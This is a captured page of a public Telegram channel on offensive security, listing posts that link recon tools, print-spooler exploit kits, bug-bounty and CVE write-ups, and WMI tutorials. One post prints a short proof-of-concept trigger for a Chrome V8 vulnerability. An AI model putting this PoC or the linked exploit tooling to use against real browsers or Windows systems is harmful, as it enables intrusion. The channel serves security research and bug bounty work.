TGViewer
Channel Public Channel
APT

APT

@apt_notes

This channel discusses:

— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc

Disclaimer:
t.me/APT_Notes/6

Chat Link:
t.me/APT_Notes_PublicChat
Open in Telegram
Subscribers
16.9K
Photos
565
Videos
28
Links
909

Showing posts older than #351 · Back to latest

Older Posts 19 shown
Post #348 258
reconFTW

ReconFTW automates the entire process of reconnaisance for you. It outperforms the work of subdomain enumeration along with various vulnerability checks and obtaining maximum information about your target.

https://github.com/six2dez/reconftw

#reconFTW #bugbounty #hacking
Post #344 316
$8,000 Payout: XSS to RCE in the Opera Browser

https://blogs.opera.com/security/2021/09/8000-bug-bounty-highlight-xss-to-rce-in-the-opera-browser/
Opera Security $8,000 Bug Bounty Highlight: XSS to RCE in the Opera Browser Continuing from his previous post, Bug Bounty Hunter Renwa writes about the second vulnerability he submitted to Opera's Bug Bounty Programme: a Remote Code Execution in Opera's My Flow Feature. What follows is his write-up and experience.
Post #342 252
RCE in Citrix ShareFile Storage Zones Controller (CVE-2021-22941)

Amazing writeup on finding a vulnerability through .NET reversing, enjoyed reading about the breakpoints that were set and how they logically owned Citrix ShareFile through a third party dependency

https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html

#citrix #sharefile #rce
Blogspot CODE WHITE | Blog: RCE in Citrix ShareFile Storage Zones Controller (CVE-2021-22941) – A Walk-Through Citrix ShareFile Storage Zones Controller uses a fork of the third party library NeatUpload. Versions before 5.11.20 are affected by a rela...
Post #338 262
CVE-2021-30632 — Chrome 0day 

var a;
function foo() {
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

#Chrome #0day #PoC
Post #337 243
SpoolSploit

SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicious DLLs on endpoints with full system access.

https://github.com/BeetleChunks/SpoolSploit

#ad #spooler #rpc
GitHub GitHub - BeetleChunks/SpoolSploit: A collection of Windows print spooler exploits containerized with other utilities for practical… A collection of Windows print spooler exploits containerized with other utilities for practical exploitation. - BeetleChunks/SpoolSploit
Post #334 267
Kali Linux Tools Page

Now you can learn more about all the tools that you can install in Kali.

https://kali.org/tools/

#tools #cheatsheet #kali
Post #330 248
APT Offensive WMI The Basics (Part 1) # https://0xinfection.github.io/posts/wmi-basics-part-1/ Exploring Namespaces, Classes & Methods (Part 2) # https://0xinfection.github.io/posts/wmi-classes-methods-part-2/ #wmi
Offensive WMI (Part 3)

https://0xinfection.github.io/posts/wmi-registry-part-3/

#wmi
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →